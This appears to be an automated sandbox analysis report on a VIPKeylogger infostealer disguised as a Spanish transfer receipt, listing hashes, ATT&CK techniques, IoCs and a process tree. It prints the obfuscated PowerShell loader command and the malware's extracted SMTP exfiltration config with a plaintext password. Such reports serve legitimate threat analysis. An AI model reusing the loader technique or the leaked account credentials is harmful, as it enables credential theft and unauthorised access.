vipkeylogger | 8bfd788dcf61676b05f3c70f1641d769311121dc181c923f20407d00b15d9a56

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20250207-en
resource tags

arch:x64arch:x86image:win10v2004-20250207-enlocale:en-usos:windows10-2004-x64system
submitted
17/02/2025, 12:13

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General

Target

JUSTIFICANTEDETRANSFERENCIA.exe
Size

663KB
MD5

8f1a27ff7db3072c7f430280163c75ef
SHA1

b422d8f3aef50c91e6f7ce51a9d9401f34c96762
SHA256

8bfd788dcf61676b05f3c70f1641d769311121dc181c923f20407d00b15d9a56
SHA512

6a3eaf4bcceadd2cfa99e95bcab34778003ffe7450502727e4e24c594f339b066aed154bdaea62286bc4e838c244a14e4aa4505e6c4046b5d0845979ee84d8a9
SSDEEP

12288:7PCMC15K0rytq1sPAZNHOsariPxkXZ3Aka+R15Skemda90xTB:7CM8V+tsZNHXariPxkX+kDLgkem1xV

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

Credentials

Protocol: smtp
Host:
smtp.ionos.es
Port:
587
Username:
[email protected]
Password:
fede6Wrico@
Email To:
[email protected]

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Downloads MZ/PE file 2 IoCs

flow	pid	Process
73	5112	Process not Found
103	4360	Process not Found

Loads dropped DLL 1 IoCs

pid	Process
1236	JUSTIFICANTEDETRANSFERENCIA.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-705198581-2062733989-3666524522-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-705198581-2062733989-3666524522-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-705198581-2062733989-3666524522-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 8 IoCs

flow	pid	Process
30	1428	msiexec.exe
32	1428	msiexec.exe
34	1428	msiexec.exe
36	1428	msiexec.exe
38	1428	msiexec.exe
43	1428	msiexec.exe
45	1428	msiexec.exe
49	1428	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
30	drive.google.com
29	drive.google.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
42	checkip.dyndns.org
44	reallyfreegeoip.org
45	reallyfreegeoip.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1428	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
636	powershell.exe
1428	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
636	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	JUSTIFICANTEDETRANSFERENCIA.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
972	MicrosoftEdgeUpdate.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
636	powershell.exe
636	powershell.exe
636	powershell.exe
636	powershell.exe
636	powershell.exe
636	powershell.exe
636	powershell.exe
636	powershell.exe
636	powershell.exe
1428	msiexec.exe
1428	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
636	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	636	powershell.exe
Token: SeIncreaseQuotaPrivilege	636	powershell.exe
Token: SeSecurityPrivilege	636	powershell.exe
Token: SeTakeOwnershipPrivilege	636	powershell.exe
Token: SeLoadDriverPrivilege	636	powershell.exe
Token: SeSystemProfilePrivilege	636	powershell.exe
Token: SeSystemtimePrivilege	636	powershell.exe
Token: SeProfSingleProcessPrivilege	636	powershell.exe
Token: SeIncBasePriorityPrivilege	636	powershell.exe
Token: SeCreatePagefilePrivilege	636	powershell.exe
Token: SeBackupPrivilege	636	powershell.exe
Token: SeRestorePrivilege	636	powershell.exe
Token: SeShutdownPrivilege	636	powershell.exe
Token: SeDebugPrivilege	636	powershell.exe
Token: SeSystemEnvironmentPrivilege	636	powershell.exe
Token: SeRemoteShutdownPrivilege	636	powershell.exe
Token: SeUndockPrivilege	636	powershell.exe
Token: SeManageVolumePrivilege	636	powershell.exe
Token: 33	636	powershell.exe
Token: 34	636	powershell.exe
Token: 35	636	powershell.exe
Token: 36	636	powershell.exe
Token: SeDebugPrivilege	1428	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1236 wrote to memory of 636	1236	JUSTIFICANTEDETRANSFERENCIA.exe	88
PID 1236 wrote to memory of 636	1236	JUSTIFICANTEDETRANSFERENCIA.exe	88
PID 1236 wrote to memory of 636	1236	JUSTIFICANTEDETRANSFERENCIA.exe	88
PID 636 wrote to memory of 1428	636	powershell.exe	103
PID 636 wrote to memory of 1428	636	powershell.exe	103
PID 636 wrote to memory of 1428	636	powershell.exe	103
PID 636 wrote to memory of 1428	636	powershell.exe	103

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-705198581-2062733989-3666524522-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-705198581-2062733989-3666524522-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\JUSTIFICANTEDETRANSFERENCIA.exe
"C:\Users\Admin\AppData\Local\Temp\JUSTIFICANTEDETRANSFERENCIA.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1236
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Komitkzs=gc -Raw 'C:\Users\Admin\AppData\Local\Matens\Sexifid126\Spenderende.Qui';$Fragmenterede=$Komitkzs.SubString(55684,3);.$Fragmenterede($Komitkzs)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:636
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:1428

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7MjU5MUJENzItQUZENy00NUI0LUE1NjQtQjg2NUYzMTgwMEE0fSIgdXNlcmlkPSJ7OTE5N0M4MjYtQjI2Ri00MEVELUFCQjEtQTkwOURERUNGQUU4fSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7RDdBRjM5OUYtRTcxQi00NUJBLTlEODEtMUNDMUE3OTk5NTg2fSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSI5IiBpbnN0YWxsZGF0ZXRpbWU9IjE3Mzg5NDU4NjAiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4MzQxODIxNjMwOTAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1Mzg2MjgwMTQxIi8-PC9hcHA-PC9yZXF1ZXN0Pg
1⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:972

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Matens\Sexifid126\Skovbrugserhverv.Heg

Filesize
303KB

MD5
5329ca8f91456352120d504ccdc21fd0

SHA1
764f9db7ccf69c57c32ea0efaac4a1ce628ef589

SHA256
cebf605544a694160e59476ff785f9b142063764a6ff1de202708baced635c75

SHA512
c47b5aa5e069cd2125fa1d71a668b16e4bb93895887e80ba91ee0e9f8673c3c388b3b58d2d332d1d4ed794b2ce5d139acc2055b020336887d941177b074d5762

Download Submit
C:\Users\Admin\AppData\Local\Matens\Sexifid126\Spenderende.Qui

Filesize
54KB

MD5
cf9dc16531d6806fd98c4f0399ed4fd6

SHA1
f99e95bac3882f753808e211897f23ae9a6c0727

SHA256
9ae752b6bb7019dcb0381805c45e0cd61a6ed571442611e38334880787d11683

SHA512
f0552dd0f7d29ba8a3e130a072a04f7aa6ce2b4c35c493c2b8233727409101787715ed2f2f1365cef782458ab09166daa1980c93609afc5adcb995e499fc8088

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r4fixwtf.fbv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nskF771.tmp\nsExec.dll

Filesize
6KB

MD5
b5a1f9dc73e2944a388a61411bdd8c70

SHA1
dc9b20df3f3810c2e81a0c54dea385704ba8bef7

SHA256
288100583f65a2b7acfc0c7e231c0e268c58d3067675543f627c01e82f6fd884

SHA512
b9c8d71b5da00f2aff7847b9ec3bd8a588afeb525f47a0df235b52f7b2233edb3928a2c8e0b493f287c923cc52a340ad6fee99822595d6591df0e97870de92a8

Download Submit
memory/636-21-0x000000007345E000-0x000000007345F000-memory.dmp

Filesize
4KB

Download
memory/636-22-0x00000000031F0000-0x0000000003226000-memory.dmp

Filesize
216KB

Download
memory/636-24-0x0000000005A10000-0x0000000006038000-memory.dmp

Filesize
6.2MB

Download
memory/636-23-0x0000000073450000-0x0000000073C00000-memory.dmp

Filesize
7.7MB

Download
memory/636-25-0x00000000058E0000-0x0000000005902000-memory.dmp

Filesize
136KB

Download
memory/636-26-0x00000000060B0000-0x0000000006116000-memory.dmp

Filesize
408KB

Download
memory/636-27-0x0000000006120000-0x0000000006186000-memory.dmp

Filesize
408KB

Download
memory/636-37-0x0000000006190000-0x00000000064E4000-memory.dmp

Filesize
3.3MB

Download
memory/636-39-0x00000000067E0000-0x000000000682C000-memory.dmp

Filesize
304KB

Download
memory/636-38-0x0000000006790000-0x00000000067AE000-memory.dmp

Filesize
120KB

Download
memory/636-40-0x0000000007960000-0x00000000079F6000-memory.dmp

Filesize
600KB

Download
memory/636-41-0x0000000006CD0000-0x0000000006CEA000-memory.dmp

Filesize
104KB

Download
memory/636-42-0x0000000006D40000-0x0000000006D62000-memory.dmp

Filesize
136KB

Download
memory/636-43-0x0000000008010000-0x00000000085B4000-memory.dmp

Filesize
5.6MB

Download
memory/636-45-0x0000000008C40000-0x00000000092BA000-memory.dmp

Filesize
6.5MB

Download
memory/636-47-0x000000006F910000-0x000000006F95C000-memory.dmp

Filesize
304KB

Download
memory/636-46-0x0000000007BC0000-0x0000000007BF2000-memory.dmp

Filesize
200KB

Download
memory/636-58-0x0000000007C00000-0x0000000007C1E000-memory.dmp

Filesize
120KB

Download
memory/636-57-0x0000000073450000-0x0000000073C00000-memory.dmp

Filesize
7.7MB

Download
memory/636-60-0x0000000073450000-0x0000000073C00000-memory.dmp

Filesize
7.7MB

Download
memory/636-59-0x0000000007C30000-0x0000000007CD3000-memory.dmp

Filesize
652KB

Download
memory/636-61-0x0000000073450000-0x0000000073C00000-memory.dmp

Filesize
7.7MB

Download
memory/636-62-0x0000000007D30000-0x0000000007D3A000-memory.dmp

Filesize
40KB

Download
memory/636-63-0x0000000007E90000-0x0000000007EA1000-memory.dmp

Filesize
68KB

Download
memory/636-64-0x0000000007EE0000-0x0000000007EEE000-memory.dmp

Filesize
56KB

Download
memory/636-65-0x0000000007EF0000-0x0000000007F04000-memory.dmp

Filesize
80KB

Download
memory/636-66-0x0000000007F30000-0x0000000007F4A000-memory.dmp

Filesize
104KB

Download
memory/636-67-0x0000000007F20000-0x0000000007F28000-memory.dmp

Filesize
32KB

Download
memory/636-68-0x0000000007F30000-0x0000000007F5A000-memory.dmp

Filesize
168KB

Download
memory/636-69-0x0000000007F60000-0x0000000007F84000-memory.dmp

Filesize
144KB

Download
memory/636-70-0x0000000073450000-0x0000000073C00000-memory.dmp

Filesize
7.7MB

Download
memory/636-71-0x0000000073450000-0x0000000073C00000-memory.dmp

Filesize
7.7MB

Download
memory/636-73-0x000000007345E000-0x000000007345F000-memory.dmp

Filesize
4KB

Download
memory/636-74-0x0000000073450000-0x0000000073C00000-memory.dmp

Filesize
7.7MB

Download
memory/636-76-0x0000000073450000-0x0000000073C00000-memory.dmp

Filesize
7.7MB

Download
memory/636-77-0x0000000073450000-0x0000000073C00000-memory.dmp

Filesize
7.7MB

Download
memory/636-78-0x0000000073450000-0x0000000073C00000-memory.dmp

Filesize
7.7MB

Download
memory/636-80-0x0000000073450000-0x0000000073C00000-memory.dmp

Filesize
7.7MB

Download
memory/636-79-0x00000000092C0000-0x000000000C220000-memory.dmp

Filesize
47.4MB

Download
memory/636-81-0x0000000073450000-0x0000000073C00000-memory.dmp

Filesize
7.7MB

Download
memory/636-82-0x0000000073450000-0x0000000073C00000-memory.dmp

Filesize
7.7MB

Download
memory/636-83-0x0000000073450000-0x0000000073C00000-memory.dmp

Filesize
7.7MB

Download
memory/636-84-0x0000000073450000-0x0000000073C00000-memory.dmp

Filesize
7.7MB

Download
memory/1428-97-0x0000000000D40000-0x0000000001F94000-memory.dmp

Filesize
18.3MB

Download
memory/1428-98-0x0000000000D40000-0x0000000000D88000-memory.dmp

Filesize
288KB

Download
memory/1428-99-0x0000000022C70000-0x0000000022D0C000-memory.dmp

Filesize
624KB

Download
memory/1428-101-0x00000000238F0000-0x0000000023AB2000-memory.dmp

Filesize
1.8MB

Download
memory/1428-102-0x0000000023120000-0x0000000023170000-memory.dmp

Filesize
320KB

Download
memory/1428-105-0x0000000023220000-0x00000000232B2000-memory.dmp

Filesize
584KB

Download
memory/1428-106-0x00000000231D0000-0x00000000231DA000-memory.dmp

Filesize
40KB

Download